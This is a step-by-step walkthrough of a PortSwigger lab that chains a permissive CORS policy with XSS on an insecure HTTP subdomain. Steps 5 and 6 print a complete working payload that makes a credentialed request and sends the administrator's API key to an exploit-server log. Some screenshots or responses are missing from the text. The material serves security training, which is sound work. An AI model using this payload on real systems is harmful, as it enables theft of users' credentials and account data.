PortSwigger

Lab Description

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

Objective: Craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

Credentials: wiener:peter



Step 1: Understanding the Vulnerability

This lab combines two vulnerabilities:

  1. CORS misconfiguration — trusts all subdomains (including HTTP)
  2. XSS on an HTTP subdomain — allows JavaScript injection

The attack chain:

  1. Find a subdomain that loads over HTTP (insecure)
  2. Find an XSS vulnerability on that subdomain
  3. Use XSS to execute JavaScript that makes a CORS request to the main site
  4. The CORS configuration trusts the subdomain (any protocol)
  5. Stolen data is exfiltrated to the exploit server

Step 2: Reconnaissance

Step 2.1: Log in to Your Account

  1. Log in with credentials: wiener:peter

  2. Go to My account page

Step 2.2: Test CORS Configuration

Send request to Burp Repeater:

Observed response:

  • The server trusts any subdomain regardless of protocol (HTTP/HTTPS)!

Step 3: Finding an Insecure Subdomain

Step 3.1: Explore the Application

  1. Go to a product page (e.g., /product?productId=1)
  2. Look for the “Check stock” feature
  3. Observe that the stock check is loaded over HTTP:

Step 4: Finding XSS on the Subdomain

Step 4.1: Test for XSS

Test the productId parameter:

http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=1<script>alert(1)</script>&storeId=1

The parameter is vulnerable to XSS!

Why this matters:

  • We can inject arbitrary JavaScript on stock subdomain
  • The main site’s CORS configuration trusts this subdomain
  • JavaScript from stock subdomain can make authenticated CORS requests to the main site

Step 5: Crafting the Combined Exploit

Step 5.1: The Complete Payload

<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+this.responseText; };%3c/script>&storeId=1"
</script>

Step 5.2: Breakdown of the Payload

ComponentPurpose
document.location="..."Redirects victim to vulnerable stock page
http://stock.YOUR-LAB-ID...Insecure subdomain (HTTP)
productId=4<script>...</script>XSS injection point
var req = new XMLHttpRequest()CORS request to main site
req.withCredentials = trueSend victim’s cookies
req.open('get','https://.../accountDetails')Target sensitive endpoint
location='.../log?key='+this.responseTextExfiltrate stolen data
%3c/script>URL-encoded </script> to close tag properly

Note: The </script> tag must be URL-encoded (%3c/script%3e) to avoid breaking the outer script tag.


Step 6: Implementing the Exploit

Step 6.1: Upload to Exploit Server

  1. Go to the Exploit server
  2. In the Body section, paste:
<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+this.responseText; };%3c/script>&storeId=1"
</script>
  1. Replace:
    • YOUR-LAB-ID with your actual lab ID
    • YOUR-EXPLOIT-SERVER-ID with your exploit server ID

Step 6.2: Test the Exploit

  1. Click View exploit
  2. You should be redirected to your exploit server log
  3. Your own API key should appear in the log

Step 7: Delivering to the Victim

  1. Click Deliver exploit to victim

  2. The victim’s browser executes the exploit chain

  3. The administrator’s API key is sent to your exploit server log


Step 8: Retrieving the Administrator’s API Key

  1. Click Access log on the exploit server
  2. Find a request like:

3. Copy the administrator’s API key


Step 9: Submitting the API Key

  1. Go back to the lab page
  2. Click Submit solution
  3. Paste the administrator’s API key

  1. Click Submit

Step 10: Lab Solved

Success message displayed: